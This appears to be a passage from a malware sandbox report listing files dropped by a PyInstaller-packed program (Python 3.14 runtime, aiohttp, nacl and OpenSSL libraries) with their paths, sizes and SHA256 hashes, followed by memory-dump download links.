                  • SHA256 512839bfd920e06daf2ffcd71f961dc3a928e4982c92efdc8b72368de41714a3
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  mask.cp314-win_amd64.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\aiohttp\_websocket\mask.cp314-win_amd64.pyd
                  • Size 36KB
                  • SHA256 c6bbab9ff56e330e95a4ce55358d679f93c19a99be0905e88fc756a80c977906
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  reader_c.cp314-win_amd64.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\aiohttp\_websocket\reader_c.cp314-win_amd64.pyd
                  • Size 142KB
                  • SHA256 2b8b334a7f07a09661b35a5e20151d909479e8a8422c97895b1e4ffa9449f02a
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _audioop.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\audioop\_audioop.pyd
                  • Size 48KB
                  • SHA256 c9f875e7f6eb8ca8c9dddcf8f875e330f1b831b8ac042cfdb838fb2ae6cd40ef
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  base_library.zip
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\base_library.zip
                  • Size 1.3MB
                  • SHA256 fdc16e4e21b8b8c56ce05d7b6491672476636bbe8df3dd185b908b2982ab52d0
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _frozenlist.cp314-win_amd64.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\frozenlist\_frozenlist.cp314-win_amd64.pyd
                  • Size 68KB
                  • SHA256 054e5d97884e8d833528aa3a98868204a3ec46cabb6a656e72432634d117880a
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  libcrypto-3.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\libcrypto-3.dll
                  • Size 6.0MB
                  • SHA256 53c529145339fb042a3dcd3a09c2d7753204f8b4fc79d99e0d31e69a33985958
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  libffi-8.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\libffi-8.dll
                  • Size 38KB
                  • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  libssl-3.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\libssl-3.dll
                  • Size 1.3MB
                  • SHA256 b17a87979862d19241edc4318f967e24c3ec356ed6c2368f561179fab2311001
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _multidict.cp314-win_amd64.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\multidict\_multidict.cp314-win_amd64.pyd
                  • Size 75KB
                  • SHA256 258d185776cf6b35c244cd134cdda9405f74de222c927d0bdbb9fd6d926ae5ce
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _sodium.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\nacl\_sodium.pyd
                  • Size 396KB
                  • SHA256 57822e7aed944269943bcb855fc14560a5b6ae38869de4e3d00c380a5119ecc7
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _helpers_c.cp314-win_amd64.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\propcache\_helpers_c.cp314-win_amd64.pyd
                  • Size 61KB
                  • SHA256 041d0de31e32d1a248b93ba8b4b232a8562cea142b59f2da0fc8cbb5de7698e3
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  python3.DLL
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\python3.DLL
                  • Size 72KB
                  • SHA256 22c6e46d8bd563cdb072650901461ef68be2ea6cb1e80af859559d9395a27e39
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  python314.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\python314.dll
                  • Size 6.5MB
                  • SHA256 fde89cdb5c2d08ae65de7ef4abca1876c93ba3796002f5ac0bf7e4d4f5a94da0
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  select.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\select.pyd
                  • Size 32KB
                  • SHA256 fab1b4cee101359d82d72061b83cff1855337b3677b9fe01cd69f7548f4c496e
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  Lorem ipsum.txt
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\setuptools\_vendor\jaraco\text\Lorem ipsum.txt
                  • Size 1KB
                  • SHA256 37fedcffbf73c4eb9f058f47677cb33203a436ff9390e4d38a8e01c9dad28e0b
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  unicodedata.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\unicodedata.pyd
                  • Size 741KB
                  • SHA256 0d4f124b2d6622d276d777f7106972219f9b310edb5df8149c253da7c013d6d8
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  _quoting_c.cp314-win_amd64.pyd
                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI17042\yarl\_quoting_c.cp314-win_amd64.pyd
                  • Size 83KB
                  • SHA256 d394097355610b57b243b4353fa73d5d888a82378d7af9a608c41883bb719cb2
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  __PSScriptPolicyTest_aqlm0bgi.cpa.ps1
                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aqlm0bgi.cpa.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  memory/556-202-0x0000029A38010000-0x0000029A3813F000-memory.dmp
                  Download

                  memory/556-200-0x0000029A38140000-0x0000029A381F2000-memory.dmp
                  Download

                  memory/1148-424-0x0000015E4E640000-0x0000015E4E6F2000-memory.dmp
                  Download

                  memory/2148-208-0x00000157C5CE0000-0x00000157C5E0F000-memory.dmp
                  Download

                  memory/2808-128-0x00007FFEBD4B0000-0x00007FFEBDE54000-memory.dmp
                  Download

                  memory/2808-123-0x00007FFEBD4B0000-0x00007FFEBDE54000-memory.dmp
                  Download

                  memory/2808-126-0x00007FFEBD4B0000-0x00007FFEBDE54000-memory.dmp
                  Download

                  memory/2808-127-0x00007FFEBD4B0000-0x00007FFEBDE54000-memory.dmp
                  Download

                  memory/2808-132-0x000002824DA50000-0x000002824DB02000-memory.dmp
                  Download

                  memory/2808-133-0x00007FFEBD4B0000-0x00007FFEBDE54000-memory.dmp
                  Download

                  memory/2808-131-0x000002824DA30000-0x000002824DA4E000-memory.dmp
                  Download

                  memory/2808-134-0x000002824DB10000-0x000002824DB1A000-memory.dmp
                  Download

                  memory/2808-124-0x00007FFEBD4B0000-0x00007FFEBDE54000-memory.dmp
                  Download

                  memory/2808-135-0x00007FFEBD4B0000-0x00007FFEBDE54000-memory.dmp
                  Download

                  memory/2808-136-0x00007FFEBD4B0000-0x00007FFEBDE54000-memory.dmp
                  Download

                  memory/2808-138-0x00007FFEBD4B0000-0x00007FFEBDE54000-memory.dmp
                  Download

                  memory/2808-139-0x00007FFEBD4B0000-0x00007FFEBDE54000-memory.dmp
                  Download

                  memory/2808-125-0x00007FFEBD4B0000-0x00007FFEBDE54000-memory.dmp
                  Download

                  memory/2808-116-0x00007FFEBD63F000-0x00007FFEBD640000-memory.dmp
                  Download

                  memory/2808-122-0x00007FFEBD4B0000-0x00007FFEBDE54000-memory.dmp
                  Download

                  memory/2808-121-0x00007FFEBD4B0000-0x00007FFEBDE54000-memory.dmp
                  Download

                  memory/2808-120-0x000002824D7E0000-0x000002824D802000-memory.dmp
                  Download

                  memory/2808-119-0x00007FFEBD4B0000-0x00007FFEBDE54000-memory.dmp
                  Download

                  memory/2956-144-0x00000144002E0000-0x0000014400392000-memory.dmp
                  Download

                  memory/3920-214-0x00000220607E0000-0x000002206090F000-memory.dmp
                  Download

                  memory/4288-225-0x000001C6FE070000-0x000001C6FE122000-memory.dmp
                  Download

                  memory/4904-244-0x0000021D801E0000-0x0000021D802E0000-memory.dmp
                  Download

                  memory/4904-293-0x0000021D946F0000-0x0000021D94710000-memory.dmp
                  Download

                  memory/4904-279-0x0000021D81D10000-0x0000021D81D30000-memory.dmp
                  Download

                  memory/4904-261-0x0000021D81EF0000-0x0000021D81FF0000-memory.dmp
                  Download

                  memory/4904-259-0x0000021D81CF0000-0x0000021D81D10000-memory.dmp
                  Download

                  memory/5524-219-0x0000013E26CA0000-0x0000013E26D52000-memory.dmp
                  Download